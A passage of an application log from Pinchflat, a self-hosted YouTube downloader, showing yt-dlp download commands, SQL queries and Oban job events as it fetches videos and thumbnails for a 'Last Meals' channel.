s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:30.499 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GI9314kbYKw --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/54/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/92/d4/92d4dfd01a6b15ca64d09353b8f207b0e07c556074889948024f27a02ffed2e8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:54:32.007 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgLs4fDr8aI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/75/51/7551baba325cfb225148a78c7f32228ef2bf59d015624179b3bb48f7f5f22196.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:54:32.007 [debug] Running yt-dlp command for action: download 21:54:32.007 [debug] QUERY OK source="settings" db=0.0ms idle=1508.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:32.007 [debug] QUERY OK source="settings" db=0.0ms idle=1508.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:32.007 [debug] QUERY OK source="settings" db=0.0ms idle=1508.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:32.007 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgLs4fDr8aI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7a/96/7a96fa03fd70243fa86f25fe6020ca797a0c9f6e8a65be4ae8784f66d8281f31.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:54:33.122 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GI9314kbYKw --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/54/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/92/d4/92d4dfd01a6b15ca64d09353b8f207b0e07c556074889948024f27a02ffed2e8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:54:33.122 [debug] QUERY OK db=0.0ms idle=94.5ms begin [] 21:54:33.123 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:54:30Z], "/downloads/Last Meals/2025-05-01 Rainn Wilson Eats His Last Meal/Rainn Wilson Eats His Last Meal [GI9314kbYKw].mp4", ~U[2026-03-28 01:54:33Z], 54] 21:54:33.123 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/54/metadata.json.gz", "/config/metadata/media_items/54/thumbnail.jpg", 54, ~U[2026-03-28 01:54:33Z], ~U[2026-03-28 01:54:33Z]] 21:54:33.123 [debug] QUERY OK db=0.0ms commit [] 21:54:33.124 [debug] QUERY OK source="media_items" db=0.5ms idle=64.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [317879509, ~U[2026-03-28 01:54:33Z], 54] 21:54:33.124 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:54:33.124 [info] {"args":{"id":54},"id":57,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":119937581,"event":"job:stop","queue_time":3855186348,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:54:33.124 [debug] QUERY OK source="tasks" db=0.2ms idle=65.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:54:33.124 [debug] QUERY OK source="tasks" db=0.3ms idle=65.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:54:33.125 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [55] 21:54:33.125 [debug] QUERY OK source="media_items" db=0.2ms idle=1.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [55] 21:54:33.130 [info] {"args":{"id":56},"id":59,"meta":{},"system_time":1774662873130695118,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:54:33.131 [debug] QUERY OK source="media_items" db=0.2ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [56] 21:54:33.131 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:54:33.131 [debug] QUERY OK source="tasks" db=0.4ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:54:33.131 [debug] QUERY OK source="tasks" db=0.4ms idle=5.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:54:33.131 [debug] QUERY OK source="sources" db=0.2ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:54:33.131 [debug] QUERY OK source="media_items" db=0.2ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [55, 56] 21:54:33.131 [debug] QUERY OK source="media_items" db=0.3ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [55, 56] 21:54:33.131 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:54:33.132 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [56] 21:54:33.132 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [56] 21:54:33.132 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:54:33.132 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:33.132 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:33.132 [debug] Running yt-dlp command for action: get_downloadable_status 21:54:33.133 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:33.133 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:33.133 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:33.133 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bn6xBU9AhoM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ab/02/ab02edfb5709c1542f7e270b8000202a664bba23fe75935ec06e41e21314a664.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:54:35.592 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bn6xBU9AhoM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ab/02/ab02edfb5709c1542f7e270b8000202a664bba23fe75935ec06e41e21314a664.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:54:35.592 [debug] Running yt-dlp command for action: download 21:54:35.592 [debug] QUERY OK source="settings" db=0.1ms idle=561.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:35.592 [debug] QUERY OK source="settings" db=0.0ms idle=533.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:35.592 [debug] QUERY OK source="settings" db=0.0ms idle=533.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:54:35.592 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bn6xBU9AhoM --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d0/8c/d08c5eaa7bb0ae332d0611a3688a9660c2764dd72f19eeded479ec6455d84a5d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:54:58.792 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.631 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:28.794 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:43.106 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 21:55:43.107 [debug] QUERY OK source="media_items" db=0.7ms idle=1046.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:55:43.108 [debug] QUERY OK source="media_items" db=0.7ms idle=1047.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:55:43.109 [debug] QUERY OK source="sources" db=0.2ms idle=1048.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:55:43.109 [debug] Replied in 3ms 21:55:58.796 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.632 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:28.798 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:44.048 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgLs4fDr8aI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7a/96/7a96fa03fd70243fa86f25fe6020ca797a0c9f6e8a65be4ae8784f66d8281f31.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:56:44.058 [debug] Running yt-dlp command for action: download_thumbnail 21:56:44.058 [debug] QUERY OK source="settings" db=0.0ms idle=1997.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:44.058 [debug] QUERY OK source="settings" db=0.0ms idle=1998.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:44.058 [debug] QUERY OK source="settings" db=0.0ms idle=1791.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:44.058 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgLs4fDr8aI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/55/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a2/d1/a2d15c6154eeaaa7cabafc538d35e136880ee8cef28fddb6521e79159134d3f4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:56:46.455 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgLs4fDr8aI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/55/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a2/d1/a2d15c6154eeaaa7cabafc538d35e136880ee8cef28fddb6521e79159134d3f4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:56:46.455 [debug] QUERY OK db=0.0ms idle=1394.9ms begin [] 21:56:46.456 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:56:44Z], "/downloads/Last Meals/2024-08-13 Sean Evans Eats His Last Meal/Sean Evans Eats His Last Meal [ZgLs4fDr8aI].mp4", ~U[2026-03-28 01:56:46Z], 55] 21:56:46.456 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/55/metadata.json.gz", "/config/metadata/media_items/55/thumbnail.jpg", 55, ~U[2026-03-28 01:56:46Z], ~U[2026-03-28 01:56:46Z]] 21:56:46.456 [debug] QUERY OK db=0.0ms commit [] 21:56:46.469 [debug] QUERY OK source="media_items" db=0.8ms idle=1407.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [401732465, ~U[2026-03-28 01:56:46Z], 55] 21:56:46.469 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:56:46.469 [info] {"args":{"id":55},"id":58,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":137006727,"event":"job:stop","queue_time":3970462392,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:56:46.470 [debug] QUERY OK source="tasks" db=0.3ms idle=196.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:56:46.470 [debug] QUERY OK source="tasks" db=0.3ms idle=1197.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", 